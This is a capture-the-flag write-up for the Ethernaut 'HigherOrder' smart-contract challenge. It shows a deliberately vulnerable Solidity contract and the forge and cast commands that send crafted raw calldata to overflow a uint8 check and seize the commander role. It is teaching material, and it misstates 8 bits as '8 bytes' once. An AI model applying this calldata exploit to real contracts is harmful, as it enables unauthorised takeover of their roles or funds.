HigherOrder Ethernaut challenge writeup
This write up walks through the HigherOrder Ethernaut's challenge.
The code is quite simple, as well as the objetive. The objetive is to become the commander of the Higher Order! For that, we have to execute the commander = msg.sender line by calling the claimLeadership() function.
See the solidity code of the vulnerable code below:
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
contract HigherOrder {
address public commander;
uint256 public treasury;
function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}
function claimLeadership() public {
if (treasury > 255) commander = msg.sender;
else revert("Only members of the Higher Order can become Commander");
}
}The goal to pass the challenge is to set a treasury to a number greater than 255, and then call claimLeadership() so commander becomes msg.sender. The catch? The type of the input function is an uint8, which only uses 8 bits. And the maximum number in binary that we could allocate in 8 bytes is 255.
Warm up time. Deploy the bytecode and get an address to poke:
$ forge create src/HighOrder.sol:HigherOrder --rpc-url $RPC --private-key $PK --broadcast
...omitted for brevity...
Deployer: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Deployed to: 0xE72B348bCA4DAAD3d8886342557d581B50Bf3971
Now we call registerTreasury() passing 5 as input, and immediately take a look at the contract storage to see if the slot has been modified:
$ cast send 0xE72B348bCA4DAAD3d8886342557d581B50Bf3971 "registerTreasury(uint8)" 5 --private-key $PK --rpc-url $RPC
$ cast storage 0xE72B348bCA4DAAD3d8886342557d581B50Bf3971 --rpc-url $RPC
╭-----------+------+--------------------------------------------------------------------╮
| Name | Slot | Hex Value |
+===========+===========================================================================+
| commander | 0 | 0x0000000000000000000000000000000000000000000000000000000000000000 |
|-----------+------+--------------------------------------------------------------------|
| treasury | 1 | 0x0000000000000000000000000000000000000000000000000000000000000005 |
╰-----------+------+--------------------------------------------------------------------╯Nice, treasury shows 5. Naturally the next impulse is to pass 256 and call it a day
$ cast send 0xE72B348bCA4DAAD3d8886342557d581B50Bf3971 "registerTreasury(uint8)" 256 --private-key $PK --rpc-url $RPC
Error: parser error:
256
^
number too large to fit in target type
Foundry enforces the ABI type at the interface. uint8 means 8 bits and 256 needs 9.
Now, time to analyze the bytecode of the TX that sent 5 as value parameter:
$ cast calldata "registerTreasury(uint8)" 5 --private-key $PK --rpc-url $RPC
0x211c85ab0000000000000000000000000000000000000000000000000000000000000005Two parts matter. The first four bytes are the function selector derived from keccak256("registerTreasury(uint8)"):
0x211c85ab
The rest is the argument payload encoded as a full 32 byte ABI word:
0000000000000000000000000000000000000000000000000000000000000005
Yes the parameter is uint8 which is one byte, but the ABI packs every static argument into a 32 byte word and left pads it with zeros.
Now look back at assembly code that grabs this value:
function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}sstore takes two things slot and value. Here slot is treasury_slot which the compiler exposes for the state variable treasury. calldataload(4) reads 32 bytes starting at byte offset 4, which skips the 4 byte selector and lands exactly on the first argument word. So this code writes the entire 32 byte word from the calldata straight into the treasury storage slot.
Now time to send a "malformed" payload. The interface says uint8, but the assembly writes the entire 32-byte word, so we stuff a larger value into the high bytes (0x200 instead of 0x05).
$ cast send 0xE72B348bCA4DAAD3d8886342557d581B50Bf3971 0x211c85ab0000000000000000000000000000000000000000000000000000000000000200 --private-key $PK --rpc-url $RPCNow confirm that the treasury value has changed from 0x05 to 0x200:
$ cast storage 0xE72B348bCA4DAAD3d8886342557d581B50Bf3971 --rpc-url $RPC
[⠊] Compiling...
No files changed, compilation skipped
╭-----------+------+--------------------------------------------------------------------╮
| Name | Slot | Hex Value |
+===========+===========================================================================+
| commander | 0 | 0x0000000000000000000000000000000000000000000000000000000000000000 |
|-----------+------+--------------------------------------------------------------------|
| treasury | 1 | 0x0000000000000000000000000000000000000000000000000000000000000200 |
╰-----------+------+--------------------------------------------------------------------╯
With treasury greater than 255 the gate is open. Claim the chair:
$ cast send 0xE72B348bCA4DAAD3d8886342557d581B50Bf3971 "claimLeadership()" --private-key $PK --rpc-url $RPC
As final check, read the storage and make sure slot 0 (commander) now holds your EOA:
$ cast storage 0xE72B348bCA4DAAD3d8886342557d581B50Bf3971 --rpc-url $RPC
[⠊] Compiling...
No files changed, compilation skipped
╭-----------+------+--------------------------------------------------------------------╮
| Name | Slot | Hex Value |
+===========+===========================================================================+
| commander | 0 | 0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266 |
|-----------+------+--------------------------------------------------------------------|
| treasury | 1 | 0x0000000000000000000000000000000000000000000000000000000000000200 |
╰-----------+------+--------------------------------------------------------------------╯
Commander crowned. More writeups coming soon.